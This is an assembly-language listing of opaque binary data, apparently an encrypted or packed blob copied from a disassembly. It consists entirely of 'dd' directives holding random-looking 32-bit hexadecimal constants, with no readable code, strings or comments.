dd 0BCDA80C3h, 0B0408826h, 981DA363h, 24042320h, 0A0382979h
dd 54E94A08h, 40700536h, 450CB9E0h, 0EA650650h, 0F9392022h
dd 66DAC906h, 0A0C4BECh, 48D1763Bh, 0A6D40381h, 44E3F435h
dd 2319F41Eh, 4C2918FFh, 9277E910h, 2C5A1CDDh, 0FAE81EADh
dd 0A698497Ch, 0FD8D2D4Ah, 48073C5Eh, 0A4A0614h, 0B0C46C1h
dd 13710DA4h, 740E0F09h, 477248A9h, 0D1220460h, 0B645724Eh
dd 2D06304Fh, 33F44341h, 5102A597h, 0E3C1B146h, 5EEB0536h
dd 0F4F8E246h, 444195F5h, 54E50C92h, 3AB6493Bh, 1C4177A6h
dd 683224h, 50441F6Eh, 0E0930558h, 0AFBB25h, 0E8307143h
dd 94619B1Dh, 4F490CEAh, 0FFD02183h, 0D258B652h, 6DAE304h
dd 7A04550Bh, 99A1F526h, 0A6F12903h, 81D459CEh, 0EB2EA768h
dd 0C6BFF827h, 2447DED1h, 3AAF855Dh, 7DF54096h, 11E01D2Ah
dd 0ED28BC01h, 0D6ADA008h, 665C8052h, 6FD3D34Ah, 59612D20h
dd 0D89C8889h, 3E89FEC0h
dd 0B201092Ah, 2C088388h, 3E0E10Ch, 0C5F9E94Ch, 0F1684E0Ah
dd 0F4B06A7Fh, 1223FB63h, 0CD4B7CE9h, 8C69DC3Bh, 4F5687A2h
dd 0EC49D546h, 6ED30C1h, 718ED0DCh, 0EB89FD18h, 81DD6F24h
dd 64BFEBB7h, 0E5EF9911h, 0EDC7A60Bh, 22AB123Ch, 0CEBD9B04h
dd 0A69228A8h, 63A21064h, 0F2D4124Eh, 68F944A2h, 981DD22Dh
dd 9E29915Ch, 0EC1DD00Dh, 86B01499h, 18156FF7h, 0BF53522h
dd 19FB9E9h, 0E1C058DEh, 0BBE5B8BFh, 0A891A68h, 7C527B74h
dd 0C8124971h, 0A0C9465Eh, 443B8427h, 0CF810255h, 3D110D91h
dd 1D009679h, 29E0AAB0h, 785F64FEh, 0CD870556h, 6801B800h
dd 4A29805Bh, 0F8BF8DEFh, 301277F7h, 98005FA0h, 18605BCEh
dd 612BF909h, 0F9CAEF7Ch, 0FB577074h, 0CE905F7Ch, 18866817h
dd 0AAB7D635h, 9CB85C28h, 0B4455AC6h, 92400396h, 8E05D001h
dd 1452251Dh, 322B7B56h, 2D1F8001h, 8C60C151h, 0D6F50681h
dd 125D1873h, 76F00363h, 29F1C8C6h, 0B05AF8E8h, 74FC01ADh
dd 0E1C1482Ah, 30202108h, 0D525028h, 211C4BB5h, 8F4B4928h
dd 5EB3BD81h, 4768C840h, 0E077AB74h, 17D3F618h, 861BF380h
dd 0E20C0CF6h, 0CECDB5E9h, 2CD81E28h, 20D349D4h, 557166Eh
dd 68DF4105h, 51174A28h, 9CFE7498h, 4DDF888Ah, 0BB535C00h
dd 26490557h, 20AB2150h, 657205ECh, 1C297E8Ch, 0F9C3DED8h
dd 0CC61621Eh, 76A8F6Eh, 9D78C441h, 0B30F66C2h, 0F62F2A64h
dd 0A43118C3h, 52598037h, 4245BA07h, 0A93F086Ah, 29C72BC7h
dd 0D9A743CFh, 16B0FA82h, 0E4518A92h, 0F228624Ah, 6A6809BBh
dd 0F4873E39h, 79F157C3h, 0E92568F0h, 7B642A7h, 0A58406F0h
dd 8B4F3EB8h, 0D3C5637Bh, 96C1222Ch, 4326A190h, 0C42631CCh
dd 19F9E50Ch, 48C703C2h, 0F2010F05h, 883EAC2h, 4FA835Eh
dd 6AAA5754h, 68051A9Bh, 644B61D7h, 0C00E8051h, 219D562h
dd 7A6650B9h, 3E13154h, 2D733446h, 321A6A0Fh, 0A89A6B63h
dd 851696C5h, 0BC109B4h, 3E8D0C76h, 5804FB61h, 0F94FF7D1h
dd 0EE21E08Bh, 59526593h, 32987931h, 0B2B5540Ch, 0D6716049h
dd 68538080h, 943C352Fh, 58A882E4h, 79FF8069h, 191E0074h
dd 208B34BFh, 0D758293Bh, 0F3F702B1h, 606E696Ah, 10618A1Dh
dd 7F89F683h, 5D044EFCh, 50E926C7h, 0BC137694h, 0EDA05634h
dd 855164AFh, 52F0ADD9h, 2FF53144h, 282EC828h, 0C13F886Fh
dd 84E13958h, 5966C820h, 0A9483E2h, 69B39D4Fh, 6201059h
dd 0F764BE01h, 2B29DDA9h, 6B7DC204h, 0EDC58002h, 39BF663h
dd 0A23F65BFh, 0B0EFCC98h, 372F6F36h, 0A8E39ACFh, 69E1F828h
dd 88AC6822h, 6311B33h, 45F90D45h, 0A8B9F420h, 66145D92h
dd 3EF0D829h, 6E284A1Ch, 0E75960FEh, 5C6FC6CAh, 45F850FCh
dd 0AD02EEB4h, 0D12C6468h, 4C4A89Fh, 78E92F7Eh, 2C57CA42h
dd 6E55C59h, 0D7E8C094h, 525029A2h, 3F925875h, 183BDF2Dh
dd 2652F718h, 16F7BABh, 498A4540h, 4F123E01h, 287A1B0Bh
dd 5AEEA5h, 0F7E9DDE4h, 0BD078275h, 85F530FAh, 5948E828h
dd 160410A6h, 57FE3109h, 0D1F79F23h, 0FC5F0B3Ch, 0FE68102h
dd 4350B15Ah, 0B12839Fh, 525EF2A5h, 18283340h, 0FECAC198h
dd 0E90907F1h, 0E2E3C217h, 6C2961C0h, 4E0D0882h, 0ECC20F85h
dd 0EE8367E0h, 0D87132C9h, 0ED9B952Dh, 0B5F284DCh, 51D3438Ah
dd 0F4CA1912h, 0D8C18D43h, 172E348h, 82981782h, 42CF31AAh
dd 0C007FBC2h, 0CB800563h, 0D6C198B7h, 59CF0E88h, 0D749DFF6h
dd 519F3C03h, 0FDE9F9D8h, 11EEF75Dh, 1C207147h, 18444C27h
dd 526A663h, 84E974A2h, 2C058DD3h, 0C3027001h, 0E9E0B151h
dd 4E26CAC5h, 80B9CEFh, 902434C1h, 333B9180h, 1009B911h
dd 3B20C46Ah, 0D1B2E45Dh, 0AEFA180h, 1023B07h, 300D0C78h
dd 0A218182Bh, 0E47DF371h, 5286F958h, 0CF68800Fh, 0B4711614h
dd 0A59995ADh, 40F5CD4Fh, 3931C13Ch, 0E2E94E0Ah, 3D8988C2h
dd 9044D7Ch, 0E059F376h, 0D916C325h, 0D1071809h, 439D1C77h
dd 92ADD3E5h, 78D4A841h, 36AEEA81h, 0F0ED786Bh, 0B9BC002Fh
dd 2C546457h, 0E8010B90h, 0E94B655Fh, 0A750EF34h, 269CB9F1h
dd 3ABA91C3h, 28B5FC02h, 8F5CD101h, 0E9C8076Fh, 0DF27289Bh
dd 0E9749043h, 4FB08127h, 0C870E902h, 8A050AC0h, 1F455F2Eh
dd 56581889h, 31B549E6h, 4F09A081h, 824B291Ch, 0DEBFEDE9h
dd 7C16E969h, 0B6E9550Dh, 0F6A0F10h, 0A2464D2Fh, 0DAB91222h
dd 0B492562h, 849F05EEh, 540C4628h, 68195D79h, 8D3B3648h
dd 56183E25h, 297E52D0h, 0E0CE539Fh, 0A109BF88h, 63AC7159h
dd 169FEB9Ah, 0B654551Bh, 9D2C7E0Eh, 9B8D7D6h, 0C2582CC8h
dd 0BAC045AAh, 0CEB002A7h, 40629A68h, 5606FC49h, 444F80B5h
dd 0D9096F10h, 3D4C5B48h, 90CE9801h, 344F8993h, 82DD5920h
dd 0A47CAD6Eh, 0A8400916h, 0DCDD72EBh, 837691F6h, 0E388C1B4h
dd 93A249CAh, 9661E528h, 0FC9EE821h, 0C15326C9h, 0EA7CC67h
dd 0D2F72BC0h, 80C04D6h, 0FEBE18E5h, 5AD43F25h, 804EDE17h
dd 8AF68112h, 1B523E0h, 862B4C49h, 2DCE29D8h, 4A60BBE9h
dd 6805565Fh, 732E63E8h, 5CA0A081h, 0D70BE939h, 650BF967h
dd 80739C2h, 30FFA25Ah, 7E762243h, 24C3BA53h, 0BD81B8D1h
dd 70564BCh, 7048E561h, 3DD78F7h, 0AF43A3F5h, 9E045229h
dd 4D6B7A2Ch, 4FB80380h, 0FA7B64FCh, 0F2C39417h, 649A07AAh
dd 0D9F23F8Eh, 9A054738h, 1AC40C83h, 0BA62149Fh, 53A6B5A5h
dd 0D9ACC753h, 0DD33CAA0h, 0F5EE722Ah, 0BF519394h, 77482322h
dd 0C6F6E9C2h, 6E994F7Ch, 0C52666FBh, 51DC689Ah, 5763E9E1h
dd 5F05980h, 35390D72h, 2162FA96h, 0BE6D1C1h, 68C863A3h
dd 30804DECh, 0E940FACBh, 52EFF556h, 0FE138C5Ch, 0CA82440Ch
dd 5913E31Eh, 0EE711065h, 0D490BB58h, 37A5A02h, 0F1C18770h
dd 0F735CDD5h, 53C1C916h, 0D10F40ECh, 88C649E1h, 0B9029768h
dd 21841D94h, 3F336081h, 342C609Fh, 0B1B2212h, 59C88916h
dd 20514001h, 137A266Dh, 0FEFD0159h, 0E5249738h, 0A44C80C6h
dd 0E95AC85Ch, 0AE19C91h, 25C0FD31h, 0D1AE5565h, 5A555C61h
dd 29B0E3ADh, 0DC925EE9h, 324D334Ah, 0BB1910CFh, 0F384163Eh
dd 4F985B78h, 4F696247h, 0BCA74C5Bh, 95937453h, 46AB000Ah
dd 0B923EFBDh, 104F3431h, 0C9F4D9F7h, 73191B2Fh, 6698BE71h
dd 98A20B02h, 24C2F6F2h, 0C17F7630h, 0FA54AAC9h, 344F83A6h
dd 97A3ECC5h, 0ACB20216h, 0C14EED91h, 296037EFh, 215B0BE8h
dd 2741CDC8h, 0F5E83009h, 0B58E8C1h, 2D56304Bh, 0C1E554E9h
dd 2EA7F2F3h, 0D601C83Dh, 0F7255A73h, 0A0A6145Eh, 83309F7Ch
dd 2A5BDAE2h, 763C291Ah, 2BD6D830h, 0F5433381h, 0D066F31h
dd 0AA2D8EC4h, 0B59534Fh, 9F717072h, 91682738h, 89697D9Ch
dd 15D92852h, 20B5CCCBh, 0A4985D82h, 665D4178h, 3CB938C7h
dd 29390F3Ah, 58B889CFh, 54503DCCh, 520B5CA5h, 4D232E01h
dd 0F7032A0Eh, 97A9213Ah, 7EC0F667h, 316844FEh, 986F57B2h
dd 30590042h, 0AF21B7C3h, 0E2618724h, 32C2AC1h, 0D602B283h
dd 0A8DC5A63h, 1BBD542h, 0E0E8215Eh, 67CD7B86h, 8D601BC8h
dd 366A161Dh, 7420C29h, 9305ED12h, 0D10999CFh, 9A01CC16h
dd 3127021Dh, 0D035B247h, 0E983D5B2h, 0A0335C0h, 0F65BFE88h
dd 510406DEh, 46800FB1h, 6CF96B8h, 3EF12006h, 3E59CE30h
dd 2398B92Ch, 1DF697EAh, 0ECF9A900h, 295EF301h, 2CE916DDh
dd 0E21A5E7Dh, 9D174ABCh
dd 9431424Ch, 992DBF52h, 27D14106h, 4C4203D0h, 0F20000E4h
dd 0B8877322h, 3B167E2Dh, 7F8475EEh, 0C1700711h, 0A22DD801h
dd 64476CC8h, 0AA6EB055h, 0F55B254Ah, 2E157F03h, 0F8AEF235h
dd 0BF01F87Fh, 0A574360Eh, 0CC129407h, 0A1E15427h, 0C42D6B44h
dd 0C0C493Bh, 0D4EF6149h, 194C7061h, 7CC502A4h, 0C04D0727h
dd 5C57E9BAh, 5FC9C3EEh, 5FBB52E5h, 4F29A1DCh, 159ACC6Bh
dd 0B2C8434Fh, 195F2768h, 0F74B2666h, 0A849791Dh, 2C9D27BAh
dd 46B850D2h, 58C526DDh, 86A4A4F0h, 2EBC92E9h, 4FC85258h
dd 1DCAE413h, 75A4E7Eh, 9FFB755h, 8003DB70h, 0EDC0B3E5h
dd 0F9F5B108h, 493A4688h, 3189052Dh, 597D43B9h, 805BDC7Ch
dd 0F658E3E4h, 0DE7ED377h, 27F76CEFh, 144C4666h, 7479BB68h
dd 6FDF698Dh, 4040D32Ch, 45B85803h, 2D5E0279h, 9689A14h
dd 8E6204DAh, 281D819Fh, 97D32CC8h, 0E90B9F8Eh, 4171F0C5h
dd 3CD20F7h, 9F8836A7h, 4BAC135Dh, 8B04D4EDh, 642CD7F5h
dd 3173E118h, 8E2C6F89h, 0C3E95029h, 45B09E0Ch, 619B19BAh
dd 6683647Ah, 75556816h, 662060E5h, 0D866D2B9h, 4B489798h
dd 0BB53C018h, 0B8486EF3h, 42D33C1Ah, 5A5B5280h, 236BF57h
dd 5D3DBE24h, 0BB9FB401h, 0D74031CDh, 0BC2042E9h, 2C074DBBh
dd 0F7CBA428h, 0E8BFE90Dh, 2CD5E498h, 0C87FED70h, 59C2DBE9h
dd 0B68127F1h, 0B7E6807Eh, 7339CECCh, 88531D86h, 0C5EF5DCFh
dd 0B114E9C5h, 8A407C51h, 272A225Ah, 3B543F20h, 8AA6EF30h
dd 83AD86EAh, 0F09C47Fh, 100E9F84h, 30462EB1h, 1C0C0A28h
dd 4A41D66Eh, 9CFF560h, 0B9E9570Ch, 8F6693A2h, 9B972043h
dd 528BE97Bh, 8C828254h, 608F0661h, 39C3006h, 2CAF0935h
dd 8E4625E9h, 0C349F088h, 27405150h, 709F2768h, 55E6C2E6h
dd 7E640E9Eh, 8A5E66A8h, 59207E1Eh, 0EE831E44h, 82131301h
dd 3E825E1Fh, 50F1D95Fh, 0E5859093h, 2752E384h, 53A1EF12h
dd 46A5196Dh, 0B916AAFFh, 0F832900Bh, 0B5F86655h, 45C4320Fh
dd 2A21F93Eh, 0B0655952h, 0ADB840A6h, 7EB45000h, 0F280B6B2h
dd 14243FB8h, 0AB6FF278h, 6408863Eh, 90A4AB4Dh, 0F0F6ED80h
dd 0A2794B44h, 0C838D1Eh, 5E016B21h, 0D879A30Fh, 7DB81E1Ah
dd 4BD7941h, 520024BCh, 0D1FD3BAh, 2FB8420Eh, 192F940Ch
dd 1FB50C6Bh, 88B3D2h, 2D3AAFEDh, 0D57E017Ch, 3408C551h
dd 0D486CC3h, 48944F03h, 0C95D080Fh, 5D3570A2h, 3D2D405Bh
dd 7C5C3689h, 8E6D6552h, 5D525166h, 0CE018F43h, 0F767592Fh
dd 0E146E7D6h, 4403EEC1h, 0C48A0709h, 1231E5FEh, 0EFC904EDh
dd 21BF0050h, 1DFD08h, 0A942102Dh, 0E9F82954h, 1913624Bh
dd 0F15138E4h, 185706Ch, 0BD64D44Ch, 7356C475h, 0C3C0CEFDh
dd 51F81789h, 0C02BE927h, 0EED8F676h, 52DF59BAh, 4CB75610h
dd 41C525D5h, 8705D71h, 89EE4085h, 7E9EEA50h, 960C7559h
dd 10AC58C4h, 86C501E1h, 0FE7FE927h, 5E9E9548h, 0C85B9B7h
dd 6CF1B211h, 331794DFh, 0FACD91E7h, 9613F2D9h, 9BF9534Bh
dd 9E9D2B07h, 970AA9ECh, 0A179EF9Ah, 9B125B45h, 0BCB539B8h
dd 7FEBA00Bh, 23EF1373h, 100FC401h, 2A49AB08h, 0EDCA634Bh
dd 0D4D08612h, 3EB88141h, 0BE41420Dh, 500D5E1h, 0A77D099Bh
dd 0E0C1480Fh, 21EAC607h, 15BB64Fh, 37DC565Ah, 2911BE01h
dd 8200C6Ch, 0EB128376h, 702D583Ch, 613F8938h, 30B86DAEh
dd 0B5F1817Fh, 6E22FC09h, 684B9831h, 347E4EC9h, 0BAC28CFCh
dd 70462BB5h, 0AB64A949h, 35025328h, 5CBF6B51h, 1BFACE42h
dd 0AFC1013Bh, 1C3742D8h, 6B9EBFC5h, 73076813h, 225CDE3h
dd 7E093044h, 122DC62h, 414BE9CFh, 57DF2B8Ch, 7A13B0F2h
dd 4AA41F74h, 0E9659759h, 1214C694h, 4BA0CCE9h, 5F59775Ah
dd 0B2ACC039h, 0EEDC289Ah, 0F304F80Eh, 4060308Dh, 545380E0h
dd 78A52A93h, 9D875BAAh, 0EE66C03h, 0B39B6407h, 7F6A90Ah
dd 0F0215B05h, 0BCDF2988h, 0A1BB0156h, 212299E0h, 0B1817096h
dd 0CC621F70h, 72DF4CACh, 0D6E70B9h, 0D901D4FAh, 0DD126190h
dd 9585F6A0h, 929E1359h, 5AE0583Bh, 0E7306B2Ch, 3B0FBC77h
dd 0C60609Fh, 277959C7h, 5BDE0113h, 0CA6602D2h, 2DF14050h
dd 0FA7482B5h, 0FB13BA4Fh, 0C87D89D6h, 2A5D2E5Ah, 869A5A77h
dd 61018F27h, 0C9E8315Dh, 68088FC5h, 95F392C2h, 0C9210124h
dd 0C6621ED9h, 0F4F809D3h, 5B4C35F0h, 0B299F4FAh, 65963339h
dd 253BF681h, 812251CFh, 67418505h, 28C2F542h, 9E875B25h
dd 0B3B758D9h, 0D95A17F0h, 9C67A316h, 0C148E1A5h, 6882F478h
dd 0F7FE396Ch, 6DD804C9h, 0C36DA413h, 3B45640Bh, 97B47017h
dd 0EA815F6Eh, 8A9B60FBh, 0A328B191h, 0FD543324h, 64F65672h
dd 0C36AD44Fh, 8DC25609h, 0B764C3A7h, 0B4238232h, 0EB89B274h
dd 64C60B07h, 25FA2FF8h, 3F8541A0h, 17B41F6h, 80DBFA2h
dd 38F9656Bh, 0CE20F443h, 0B508D5E9h, 0A9205696h, 0C7801646h
dd 17C9058Ah, 787DB2FEh, 69BB736Fh, 0BA37EC6h, 0BC84F328h
dd 9DB70753h, 0A99ECFE7h, 4971EAC8h, 62345142h, 5C10194Ch
dd 45EAAA72h, 50CA1E07h, 5E5514FAh, 84AB73E4h, 0F7FD87B8h
dd 576FD77Dh, 0E109CC1Ah, 21203F6h, 0F1012162h, 5EE0CDEEh
dd 93A0969Dh, 2130172Dh, 2B363BBh, 79A95AF6h, 333C895Ah
dd 75EA03B4h, 46BE43Dh, 6F58410Ch, 40C4ED67h, 5C37E908h
dd 844F7631h, 7CF802C3h, 5250D2DFh, 39EDF074h, 31405F2Fh
dd 0CA4CED2Dh, 3B3EB1E8h, 21076502h, 670E89BBh, 51B25EF7h
dd 0C3010060h, 72D08358h, 0BDE51336h, 0E7336BC8h, 432AC33h
dd 650BB223h, 60183F90h, 0B2D28737h, 93BEC791h, 0AA956AEh
dd 9A80BA9Ah, 3D772706h, 0B1F0292Dh, 126E858Dh, 0D5D3EC9Bh
dd 155034D1h, 5DC0EB13h, 4869ABBEh, 0DB120B3Ch, 0E6D6F873h
dd 526601CBh, 88F0B050h, 0B3D030C2h, 0DA308F13h, 6379D04h
dd 592648F2h, 0C280012Fh, 60D92C38h, 0B7265353h, 0C19A1B3h
dd 5145BEFh, 5410845Dh, 4E8B22h, 87B6BD72h, 3947F7Ch, 34F50507h
dd 21820AE5h, 8BD5D617h, 0CA1844E8h, 0B4F601B5h, 0E4C08800h
dd 0F2CC8005h, 0EBC472FEh, 3D02ECE8h, 0CFCF8CE9h, 0F7914AFBh
dd 292F1237h, 9B636F3h, 24A8E951h, 0B885310h, 97099FEBh
dd 27094602h, 81E1D101h, 7A4D49C8h, 0F5F7E882h, 13F57D30h
dd 5E7F1048h, 81DBC04Eh, 0E03541F3h, 102B69h, 0AC02A158h
dd 0CB312821h, 85504ADBh, 31DEA152h, 21AA13B8h, 10EDADF4h
dd 4654B823h, 0BF570253h, 7B070BBCh, 0E9043774h, 2AE33A46h
dd 3B84632Dh, 0C1B7FCBFh, 11A3363Ah, 641F0C80h, 0FD011351h
dd 883A690h, 38140C41h, 1387A315h, 0D932C795h, 93336F0h
dd 0D3D32CE9h, 6BAB09CDh, 0AD625154h, 7A425C37h, 30B0A090h
dd 10D84F82h, 28E90A33h, 0BF421E2Dh, 0AF5D0453h, 6C50FD5Fh
dd 2FF9A592h, 7F4C8CCBh, 0D535EB90h, 7B20E842h, 4DF0371Dh
dd 556ACB81h, 0F63026C5h, 42318147h, 0B174338Dh, 55B0C9C2h
dd 0BA740698h, 1097208Eh, 11E642A0h, 33F10082h, 89020619h
dd 0F1BA7421h, 0D27D150Bh, 4FCA704Fh, 8222D42Dh, 0C509EB3Fh
dd 5A6509E6h, 0BBE05ADEh, 24304C58h, 0B714B5Eh, 0C9E666A5h
dd 449F7B9h, 0BE0D4B75h, 0F57F60C5h, 0B8505E00h, 23911EDEh
dd 0E0E84EC1h, 11930888h, 0FA69222Fh, 0C6C4692Fh, 0CAD23B3Ch
dd 10DC42F9h, 68C256C5h, 25463FE4h, 0F26A9C81h, 0BAEB8803h
dd 5E864991h
dd 0AA0B07Ch, 0FEBBC831h, 2454E90Bh, 12BA641Eh, 9F2C0B27h
dd 46257350h, 5D770F7h, 0A44193EAh, 0DE1BA931h, 71E3F300h
dd 0FCF821A1h, 5777A23Ch, 1C26FB2h, 31041064h, 0FE295BDFh
dd 175E61FAh, 356800EAh, 65891331h, 49E6F059h, 9A3EE5FFh
dd 5738FB4Dh, 974AE51Ch, 4C2AC0E6h, 0E48E9488h, 0DB682014h
dd 303FC527h, 3CB72236h, 6C438E56h, 0CE394005h, 3F0BB929h
dd 0B119AF27h, 0BFB32420h, 0CB07DD13h, 0D0C73700h, 270CA012h
dd 6B013AE9h, 0E1C39D61h, 0D241A638h, 143DE08h, 0D064EA80h
dd 0B191D7E2h, 7103D5C0h, 0BDD51038h, 120243A8h, 0E5C1450Eh
dd 1885C02h, 0B6F158EDh, 10802FC7h, 9BB7E3E9h, 2C7B9D44h
dd 3DD3680Fh, 0FF354D19h, 2D4B3587h, 2B4CB5E9h, 0FFD8F133h
dd 0FAF63380h, 524B6707h, 0CB611BF8h, 0D3C3807Ah, 0CDE1A5E3h
dd 0E82279B2h, 9F5030CAh, 12BEA2F0h, 30838C2h, 0A196C968h
dd 13494C20h, 0BDD830ACh, 0AD45D2E7h, 0A48C1703h, 0B5511253h
dd 0A48E17A9h, 6BCBCB60h, 0B7054C29h, 2515CC91h, 8E9B2D54h
dd 64CB3375h, 0C457E909h, 4D7D5C22h, 3059AA7Eh, 0F04EC362h
dd 3F1F35ABh, 0FB4A109Ah, 78A58448h, 0A5389E4Fh, 0EC0306Ah
dd 60C9DCE6h, 0BE4C595Ah, 0B66CC213h, 1058084Bh, 0AE0A8904h
dd 0C5F68F6Eh, 8F54605Ch, 0EBA50402h, 0A493A2B2h, 0B9D3557Ch
dd 784037F8h, 51E69722h, 388D545Bh, 1A66356Ah, 0A8566F6Ah
dd 0BF44E971h, 41C83DE5h, 0BE724CD8h, 2D1654B6h, 0D1069C5Fh
dd 5B0D29EFh, 0DB868101h, 0BF350009h, 81D13E24h, 16DCC1A4h
dd 8181879Dh, 0F0F22DF8h, 5F2F3914h, 97AC6C05h, 13EF2968h
dd 17C4340Bh, 0CE248457h, 0F34B47A7h, 5B4F7643h, 2A3548F2h
dd 110080CBh, 5D4C284Ch, 1402305Fh, 2552E032h, 8AC43120h
dd 0D9545139h, 783BC957h, 0C5BBA021h, 3D3C182Ch, 3FD70C6Ah
dd 14ED309h, 8F708CDh, 0DF0B6026h, 5A00990Dh, 0E9617C2Fh
dd 0B369A162h, 871DCD5h, 0C91861EBh, 0B0882206h, 0D36CE1BBh
dd 8BF6007Dh, 3468B050h, 0E001C0CFh, 53C8FE04h, 0D7FDE8B7h
dd 507E7E8h, 0E995EF80h, 5DD5B0B4h, 689101B5h, 0F2236C3Fh
dd 5F890358h, 0A234277Bh, 0C7065F64h, 8051469Bh, 0BE236873h
dd 58546227h, 775AB8DCh, 6DC22B94h, 0F4E83CE9h, 9DE9EA8h
dd 0E522BF5Dh, 4ADE3492h, 1203D16Bh, 0E585D5h, 0E912464Bh
dd 0A0C94F56h, 0EE1BA0D1h, 94D655Ch, 8E6C102h, 0A44F4404h
dd 0B992BBA7h, 2C8D30E1h, 9832AF49h, 0AB450FEh, 3BB6525Dh
dd 309200BCh, 0CDE95AF4h, 0F6399FB4h, 5238342Dh, 0F9B424A1h
dd 1F59274h, 2C15CC16h, 3ED66103h, 995836CEh, 1997C122h
dd 91585E82h, 0C8BF050Fh, 0F372E868h, 0ABDC12E9h, 0DA4826A7h
dd 1E89845Bh, 40365322h, 495BB86Fh, 31243A13h, 158F1C3h
dd 0D6B397DDh, 8C71A84Fh, 0CC32B0A2h, 0D08C0893h, 2C367438h
dd 9789285Eh, 0E8881096h, 70BC6F68h, 0C94B7125h, 62106DBh
dd 782E722Eh, 313EB3CDh, 0CADD6897h, 0A8CC459h, 604FB10Eh
dd 0FDCF5761h, 0CC0E71Bh, 133EDC7h, 9417B028h, 303B25ECh
dd 2E8AAC5Eh, 41DD410h, 5202C283h, 1488D8E8h, 0BF76670h
dd 32DA68F1h, 6F7C681Ah, 11B95100h, 1360BD23h, 408E9C1h
dd 0C0410461h, 0BD22D62h, 0BF07064Ah, 64DFE883h, 61AB0D51h
dd 3F5E5B11h, 407D38CAh, 9802B945h, 513E442Eh, 63C4556h
dd 0FED721E9h, 0B252E1BEh, 5E0FC2C6h, 0F98A0B37h, 45B99D4Bh
dd 44752F13h, 0E9A8ACCDh, 54909DEh, 0FB860702h, 14980D45h
dd 0BBA15F4Ah, 51F8CE3Fh, 0BB184C21h, 50DF2912h, 251E68Ch
dd 1A5C6855h, 75E119E3h, 0C193813Dh, 2DC76240h, 0BF5AAFECh
dd 0BF71759Ah, 13550DB6h, 0FC22A4E9h, 8DF2F744h, 34945D60h
dd 0B91F1020h, 57018EB0h, 922A3D2h, 0A2F0F6E9h, 533DD478h
dd 5256090Dh, 0DC665882h, 5AC25A06h, 0F4973702h, 0F799A0EEh
dd 1CA0DE4Ah, 5E8FED56h, 0E813D15Eh, 0B88510C2h, 5EAC10Fh
dd 814AC09Ch, 5C5DFAF2h, 0ACC82C50h, 4132133Bh, 1825AF00h
dd 0EEBD59E9h, 0A9205A4Dh, 7C135F4Ah, 77C88300h, 5101789Dh
dd 0FD2CB6EEh, 267A8353h, 5256BA1Ch, 0DE25906Bh, 98B089A6h
dd 0B1D301EBh, 895B2D31h, 186294E9h, 6EF614E9h, 0D5EEF130h
dd 5904EBB6h, 93B94C68h, 0A3764D84h, 500D0028h, 0BD5548BEh
dd 6E5C18E5h, 1B47E205h, 7B315D3Bh, 69087401h, 3357E90Ch
dd 265FE836h, 1B010965h, 0E93E5B64h, 8050FCECh, 3B20CEE1h
dd 167C2BC3h, 5B4DA55h, 201CF2D5h, 0BE0F6626h, 2327C87Dh
dd 0BF92EFh, 1653F1D3h, 0F7810263h, 49084C18h, 74DFD980h
dd 0D6F71BDEh, 726A9280h, 0E918792Fh, 0C581B352h, 171F098Fh
dd 0E550C17Ch, 30ABAD72h, 0B0D0F8C2h, 76DAEA9Dh, 57F588BEh
dd 3A8C7630h, 37DAC930h, 0E7B152F0h, 2B13AB4Fh, 50B2078Eh
dd 4E44E98Eh, 16184295h, 0AAE2A875h, 51B85007h, 0C23B7506h
dd 8E2808ECh, 8D4C6B1Fh, 9F04AA7Ah, 0BE20E214h, 2D5C275Eh
dd 7AF678F2h, 0C6B3489Fh, 0AA06CBC0h, 0FFF0AD84h, 8FE33753h
dd 54B0288h, 0BFC207C9h, 0F021E1E7h, 0ACAD5303h, 5BDE821Fh
dd 20F35033h, 0FE5C63E0h, 7D2678E7h, 6806DA28h, 30AD21EBh
dd 0FEF7F5C7h, 1BB1315Fh, 7F564232h, 569C8B34h, 0F7170C24h
dd 0B75007A7h, 4A8CB6F9h, 2F470066h, 0E5D16D29h, 4EC0C172h
dd 356720F5h, 182B50Bh, 46E6E41Eh, 64ABE3Ah, 0F331437Fh
dd 60849089h, 30ED71D3h, 664C713Bh, 93F58004h, 2DE79A15h
dd 0CE45E989h, 5C027FA8h, 0E9276A7Bh, 0F87811h, 0EB09EF05h
dd 0AD6F352Bh, 3125F20Bh, 0B05196C5h, 374009EBh, 36A40B92h
dd 0BBB2D488h, 0BA52EF00h, 5AB53B69h, 0F552901Dh, 0F353B0E9h
dd 0AC444A88h, 540E321Eh, 8EC3DFC9h, 2BA731D9h, 0D28FE73Ch
dd 4B7AF30Eh, 0E7686589h, 685350C0h, 40004408h, 0F3815B7Fh
dd 1E601DD2h, 40D8893Fh, 0E908E8C1h, 0EABB200Ch, 59675509h
dd 52521E20h, 1D115EBFh, 5F56CC53h, 0D50BBE20h, 51E670Ch
dd 6F54DC3Fh, 10CB4E60h, 64BE5601h, 96675B7Ch, 0E5EC1248h
dd 0DAA131C9h, 2DE83058h, 4E4F7C8Eh, 0CB6BA12h, 0F6B97E16h
dd 0D1011F17h, 0F79F1A19h, 2B490E8Bh, 0EF8BA10h, 8907EE09h
dd 25768BCAh, 0E5F050AEh, 0F343E58h, 0CB62B52Fh, 0F4C94B51h
dd 9F02CB99h, 40323ECCh, 95A65124h, 1676093Ah, 0E57BE962h
dd 9FC0A28Dh, 3A503691h, 0E0F40937h, 86DBBh, 6006641Fh
dd 88B83419h, 926C290Bh, 3542B405h, 686EC16Ch, 7456FA26h
dd 7309BE40h, 3A149037h, 0C6180EEEh, 0D5470C1Eh, 7AD03B25h
dd 2619A0FDh, 0B0A29FE4h, 0AA0F44BCh, 4A44E5D5h, 0C7FE8990h
dd 0DBEF3880h, 0E25BF813h, 0B451547Ah, 3869064Ch, 0E1E32EB5h
dd 35B14027h, 1A0F00B3h, 0B72D4866h, 0F24BA349h, 0B659F0F0h
dd 82531722h, 657E5419h, 5685650h, 28346369h, 0AA4BAF5Eh
dd 5CC929AEh, 0B920BE45h, 17DAE59Fh, 598F8C5Ch, 6152A8BEh
dd 5623Ah, 0E47F6C69h, 5E19F101h, 0EFA4CD89h, 45C73C30h
dd 0C2422802h, 0A70A78E9h, 6572D09Bh, 0C398A70Fh, 0DBF6CB21h
dd 3880E3F0h, 0B04AD1F3h, 2459BAB0h, 24893E66h, 0B70EB35Eh
dd 1ECC0B5h, 24685BDAh, 0C4267765h, 56B15604h, 27B7447Fh
dd 0DDF70435h, 0F608BCC6h, 5ACEBAABh, 68EDD05Dh, 0A9BE6D6Ch
dd 2A4E462h, 0A8752D58h, 45AF9381h, 5F322F3h, 6855E0D3h
dd 0A744BF39h, 2905FBDAh
dd 3C19C0D7h, 1B60F67Ch, 92E95A49h, 0E9B89EA5h, 5297FF73h
